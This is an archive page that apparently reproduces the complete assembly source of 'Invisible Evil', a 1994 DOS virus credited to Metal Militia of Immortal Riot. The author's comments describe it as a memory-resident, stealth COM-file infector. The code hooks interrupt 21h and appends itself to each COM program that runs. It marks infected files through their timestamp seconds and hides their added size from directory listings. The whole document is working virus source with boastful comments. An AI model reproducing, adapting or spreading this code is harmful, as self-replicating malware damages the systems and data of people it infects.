home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / I.ZIP / INV-EVIL.ASM < prev    next >
Assembly Source File  |  1994-01-05  |  15KB  |  332 lines

  1. ; Virusname  : Invisible Evil
  2. ; Virusauthor: Metal Militia
  3. ; Virusgroup : Immortal Riot
  4. ; Origin     : Sweden
  5. ;
  6. ; It's a memory resident, stealth, infector of com files. 
  7. ; It check for two nops a bit after the jmp to see if it's already
  8. ; infected or not, and to stealth it, it'll check the seconds.
  9. ; No destructive routine included in this version, perhaps to come(?)
  10. ; Um!.. well, enjoy Insane Reality issue #4!
  11. ; I think that's all for now, outa here..
  12. ;
  13. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  14. ;              INVISIBLE EVIL!
  15. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  16.  
  17. virus           segment
  18.                 assume  cs:virus,ds:virus,es:nothing
  19.               
  20.         org     100h
  21. start:  db      0E9h,02,00,90h,90h ; Jmp to vstart
  22.  
  23. vstart  equ     $                
  24.         call    code_start      ; call codie_startie
  25. code_start:          
  26.         pop     si
  27.         sub     si,offset code_start ; so we can use the lea command etc
  28.         jmp     code_continue
  29.  
  30.         db      ' Our past is ' ; Lil' poem (?)
  31.         db      ' our future! ' ; of mine
  32.  
  33. code_continue:
  34.         mov     bp,si           ; Now, put bp in si instead so bp's used
  35.         jmp     load            ; Jmp and go resident
  36.  
  37. old_21  dd      ?               ; Old int21 interrupt saved here
  38.  
  39. new_21:                         ; Our own, new one int21
  40.         cmp     ax,4b00h        ; Is a file being executed
  41.         je      exec1           ; If so, damn it! INFECT!
  42.         
  43. dir_thang:
  44.         cmp     ah,11h          ; Find first
  45.         je      hide_size       ; Use stealth
  46.         cmp     ah,12h          ; Find next
  47.         je      hide_size       ; Use stealth
  48.         cmp     ax,3030h        ; Another copy trying to go resident?
  49.         jne     do_old          ; If not, do the old int21 thang
  50.         mov     bx,3030h        ; Show that we're already resident
  51. do_old: jmp     dword ptr cs:[(old_21-vstart)]  ; Jmp old int21
  52. exec1:  jmp     exec                            ; Try to infect
  53. do_dir: jmp     dword ptr cs:[(old_21-vstart)]  ; See do_old
  54.         ret                                     ; But return back
  55.  
  56. hide_size:
  57.         pushf
  58.         push    cs
  59.         call    do_dir                          ; get FCB (current)
  60.         cmp     al,00h                          ; Is DIR being used (?)
  61.         jz      undocumented_get_FCB            ; If so, go on
  62.         jmp     dir_error                       ; If not, get the fuck
  63.                                                 ; outa this place man
  64. undocumented_get_FCB:
  65.         push    ax                              ; push
  66.         push    bx                              ; push
  67.         push    es                              ; push (gaak! no pops)
  68.         mov     ah,51h                          ; get FCB (location)
  69.         int     21h                             ; figure it out
  70.         mov     es,bx                           ; get FCB (info)
  71.         cmp     bx,es:[16h]                     ; check it
  72.         je      fix_it_up                       ; if so, move on
  73.         jmp     not_inf
  74.  
  75. fix_it_up:
  76.         mov     bx,dx                           ; fixup
  77.         mov     al,[bx]                         ; some
  78.         push    ax                              ; shit
  79.         mov     ah,2fh                          ; get the DTA
  80.         int     21h                             ; yeah, you do that
  81.         pop     ax                              ; atlast, pop me babe
  82.         inc     al                              ; check FCB (extended)
  83.         jz      add_it                          ; ok, move on
  84.         jmp     normal_fcb                      ; jmp normal_fcb
  85.  
  86. add_it:
  87.         add     bx,7h                           ; yes, add it.. go ahead
  88. normal_fcb:
  89.         mov     ax,es:[bx+17h]
  90.         and     ax,1fh
  91.         xor     al,01h                          ; are the file's seconds
  92.         jz      go_on_and_do_it_strong          ; equal to "2"?
  93.         jmp     not_inf                         ; If so, outa here
  94.         
  95. go_on_and_do_it_strong:
  96.         and     byte ptr es:[bx+17h],0e0h       ; subtract the size
  97.         sub     es:[bx+1dh],(vend-vstart)       ; how much? (*.*)
  98.         sbb     es:[bx+1fh],ax                  ; yet another stealthed
  99. not_inf:pop     es                              ; we will..
  100.         pop     bx                              ; we will..
  101.         pop     ax                              ; pop you! pop you!
  102.         
  103. dir_error:   
  104.         iret                                    ; return to the one who
  105.                                                 ; called this thang
  106. exec:   
  107.         push    ax                              ; push the stuff needed
  108.         push    bx                              ; (as normally)
  109.         push    cx
  110.         push    dx
  111.         push    di
  112.         push    si
  113.         push    ds
  114.         push    es
  115.  
  116. infect: 
  117.         mov     ax,3d02h                        ; Open the file being
  118.         int     21h                             ; executed do that!
  119.         jc      fuckitall                       ; If error, get the fuck
  120.                                                 ; out!
  121.         
  122.         xchg    ax,bx                           ; or.. mov bx,ax
  123.                 
  124.         push    ds                              ; pusha
  125.         push    cs                              ; push
  126.         pop     ds                              ; pop!
  127.  
  128.         mov     ah,3fh                          ; Read from file
  129.         mov     dx,(buffer-vstart)              ; put in our buffer
  130.         mov     cx,5h                           ; how much to read
  131.         int     21h                             ; do that
  132.         jc      fuckitall                       ; If error, fuck it!
  133.         
  134.  
  135.         cmp     word ptr cs:[(buffer-vstart)],5A4Dh ; Is it an .EXE?
  136.         je      fuckitall                           ; If so, outa here..
  137.  
  138.         cmp     word ptr cs:[(buffer-vstart)],4D5Ah ; The other form?
  139.         je      fuckitall                           ; (can be MZ or ZM)
  140.                                                     ; If so, outa here
  141.         cmp     word ptr cs:[(buffer-vstart)+3],9090h ; Ok, is it
  142.         je      fuckitall                           ; infect? If so,
  143.                                                     ; outa here
  144.         jmp     next                                ; Move on..
  145.  
  146. fuckitall:
  147.         jmp     homey2                              ; Something screwed,
  148.                                                     ; outa dis thang..
  149. next:   
  150.  
  151.         mov     ax,5700h                            ; Get date/time
  152.         int     21h                                 ; int me baaaabe!
  153.  
  154.         mov     word ptr cs:[(old_time-vstart)],cx  ; save time
  155.         mov     word ptr cs:[(old_date-vstart)],dx  ; save date
  156.  
  157.         mov     ax,4202h                            ; ftpr to end
  158.         mov     cx,0                                ; get ftpr (filesize)
  159.         cwd                                         ; or.. xor dx,dx
  160.         int     21h
  161.         jc      fuckitall                           ; if error, fuck it!
  162.         mov     cx,ax                               ; mov cx to ax
  163.         sub     cx,3                                ; for the jmp
  164.         jmp     save_rest_of_len
  165.         db      ' [INVISIBLE EVIL!] (c) Metal Militia/Immortal Riot '
  166.  
  167. save_rest_of_len:
  168.         mov     word ptr cs:[(jump_add+1-vstart)],cx ; save jmp length
  169.  
  170.         mov     ah,40h                              ; write to file
  171.         mov     cx,(vend-vstart)                    ; the virus
  172.         cwd                                         ; from start
  173.         int     21h                                 ; atlast the fun part
  174.         jnc     fpointer                            ; no error(s), go on
  175.         jc      homey                               ; fuck it!
  176.  
  177. fpointer:
  178.         mov     ax,4200h                            ; move file pointer
  179.         mov     cx,0                                ; to the beginning
  180.         cwd
  181.         int     21h
  182.  
  183.  
  184.         mov     ah,40h                              ; write the JMP the
  185.         mov     cx, 5                               ; the file (5 bytes)
  186.         mov     dx,(jump_add-vstart)                ; offset jump thang
  187.         int     21h
  188.         
  189.         jc      homey                               ; if error, fuck it!
  190.  
  191.         mov     ax,5701h                            ; restore old
  192.         mov     word ptr cx,cs:[(old_time-vstart)]  ; date/time
  193.         mov     word ptr dx,cs:[(old_date-vstart)]
  194.         
  195.         and     cl,0e0H                             ; chance the file's
  196.         inc     cl                                  ; seconds to "2" for
  197.         int     21h                                 ; stealth "marker"
  198.         
  199.  
  200.         mov     ah,3eh                              ; close thisone
  201.         int     21h
  202.  
  203.  
  204. homey: jmp     homey2                               ; outa here
  205.        db      ' Dedicated to all the victims.. '   ; dedication note
  206.  
  207. homey2: pop     ds                                  ; pop
  208.         pop     es                                  ; pop
  209.         pop     ds                                  ; pop
  210.         pop     si                                  ; pop
  211.         pop     di                                  ; pop
  212.         pop     dx                                  ; pop
  213.         pop     cx                                  ; pop
  214.         pop     bx                                  ; pop
  215.         pop     ax                                  ; new virus-name
  216.                                                     ; popcorn virus?
  217.         jmp    dword ptr cs:[(old_21-vstart)]       ; heading for old
  218.                                                     ; int21
  219. old_date dw     0                                   ; date/time
  220. old_time dw     0                                   ; saving place
  221.  
  222.  
  223. buffer: db      0cdh,20h,00                         ; our lil' buffer
  224. buffer2 db      0,0                                 ; plus these two
  225. jump_add: db    0E9h,00,00,90h,90h;                 ; what we put instead
  226.                                                     ; of org. jmp
  227. exit2:  jmp     exit                                ; get outa here
  228.  
  229. load:   mov     ax,3030h                            ; Are we already in
  230.         int     21h                                 ; this users memory
  231.         cmp     bx,3030h                            ; well, check it!
  232.         je      exit2                               ; if so, outa here
  233.         
  234.  
  235. dec_here:
  236.         push    cs                              ; push
  237.         pop     ds                              ; pop
  238.  
  239.         mov     ah,4ah                          ; req. very much mem
  240.         mov     bx,0ffffh                       ; ret's largest size
  241.         int     21h
  242.  
  243.         mov     ah,4ah                          ; ok, so now we
  244.         sub     bx,(vend-vstart+15)/16+1        ; subtract the size of
  245.         jnc     intme                           ; of our virus. If no
  246.         jmp     exit2                           ; error go on, else
  247.                                                 ; fuck it
  248. intme:
  249.         int     21h                             ; int me! int me!
  250.  
  251.         mov     ah,48h
  252.         mov     bx,(vend-vstart+15)/16          ; req. last pages
  253.         int     21h                             ; allocate to the virus
  254.         jnc     decme                           ; no error, go on
  255.         jmp     exit2                           ; les get outa dis place
  256.         
  257. decme:
  258.         dec     ax                              ; oh? a dec, no push/pop
  259.                                                 ; how glad i am :)
  260.         push    es                              ; blurk! yet another push
  261.         
  262.         mov     es,ax                           ; set es to ax
  263.         jmp     dos_own                         ; carry on comrade
  264.         db      ' Greets to B-real!/IR '        ; greetings to our
  265.                                                 ; latest member, a
  266. dos_own:                                        ; friend of mine
  267.         mov     byte ptr es:[0],'Z'             ; this memory will
  268.         mov     word ptr es:[1],8               ; have DOS as it's
  269.                                                 ; owner
  270.         inc     ax                              ; opposite of dec, eh?
  271.                                                 ; yet another new-commer
  272.         lea     si,[bp+offset vstart]           ; copy to memory
  273.         mov     di,0                            ; (new block) xor di,di
  274.         jmp     copy_rest                       ; go on
  275.         db      ' It''s like this and like that and like thisena ' ; lil'
  276.  
  277. copy_rest:
  278.         mov     es,ax                           ; es as ax
  279.         mov     cx,(vend-vstart+5)/2            ; the whole thing
  280.         cld                                     ; bytes, clr direction
  281.         rep     movsw
  282.         jmp     make_res                        ; now, make it resident
  283.         db      ' It''s like that and like this and like thatena '; thang
  284.         
  285. make_res:
  286.         xor     ax,ax                           ; atlast!
  287.         mov     ds,ax                           ; put all shit to memory
  288.         push    ds                              ; don't push me around :)
  289.         lds     ax,ds:[21h*4]                   ; vectorswapping
  290.         jmp     swap_sect                       ; (manually!)
  291.         db      ' It''s like this.. '           ; by Snoop 'n Dre.
  292.  
  293. swap_sect:
  294.         mov     word ptr es:[old_21-vstart],ax   ; where's our old int21
  295.         mov     word ptr es:[old_21-vstart+2],ds ; stored? well see here
  296.         pop     ds
  297.         mov     word ptr ds:[21h*4],(new_21-vstart) ; point to our virus
  298.         mov     ds:[21h*4+2],es                     ; instead of old21
  299.  
  300.         push    cs                                  ; no cmt.
  301.         pop     ds                                  ; to much 'bout 'em
  302.                                                     ; today, eh? :)
  303.  
  304. exit:
  305.         push    cs                                  ; no cmt.
  306.         pop     es                                  ; see above
  307.  
  308.         mov     cx,5                                ; five bytes
  309.         jmp     copyback                            ; keep on moving..
  310.         db      ' Love to Lisa! '                   ; To the girl i love
  311. copyback:
  312.         mov     si,offset buffer                ; copy back org. jmp
  313.         add     si,bp                           ; and run the org. proggy
  314.         jmp     movdi_it                        ; yeah, les do that
  315.         db      ' All i ever wanted.. '         ; Lisa, the one and only
  316.  
  317. movdi_it:
  318.         mov     di,100h                         ; di = 100h
  319.         repne   movsb
  320.         jmp     lastshit                        ; atlast, soon the end
  321.         db      ' All i ever asked for.. '      ; Love in eternality!
  322.  
  323. lastshit:
  324.         mov     bp,100h                         ; bp equ 100h
  325.         jmp     bp                              ; jmp to bp (SOF)
  326.  
  327.  
  328. vend    equ     $                               ; end of virus
  329.  
  330. virus        ends
  331.         end     start
  332.